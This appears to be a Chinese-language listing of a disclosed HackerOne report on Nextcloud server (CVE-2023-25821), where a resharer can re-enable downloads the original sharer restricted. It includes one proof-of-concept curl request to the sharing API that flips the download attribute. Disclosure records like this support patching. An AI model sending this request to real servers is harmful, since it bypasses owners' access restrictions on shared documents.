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地图 / Download permissions can be changed by resharer

Download permissions can be changed by resharer

访问控制 / 访问控制缺陷(通用) / #1724016

厂商
Nextcloud
严重程度
低危 · CVSS 5.7
赏金
$500
弱点
访问控制缺陷(通用)
研究员
@rullzer
披露日期
2023-02-24
资产
nextcloud/server
CVE
CVE-2023-25821

该报告还没有中文解读。

原文摘录

摘自原文(970 字符中的一小部分)
The new feature in NC 25 to limit downloads also for internal shares is meant to force users to use secure view. So documents are watermarked and what not.
原文中的代码
curl -u user2:pass 'https://SERVER/ocs/v2.php/apps/files_sharing/api/v1/shares/11' -X PUT -H "OCS-APIREQUEST: true" -H 'Content-Type: application/json' --data-raw '{"permissions":"17","attributes":"[{\"scope\":\"permissions\",\"key\":\"download\",\"enabled\":true}]"}'

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Nextcloud 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @rullzer · 版权归作者与 Nextcloud 所有

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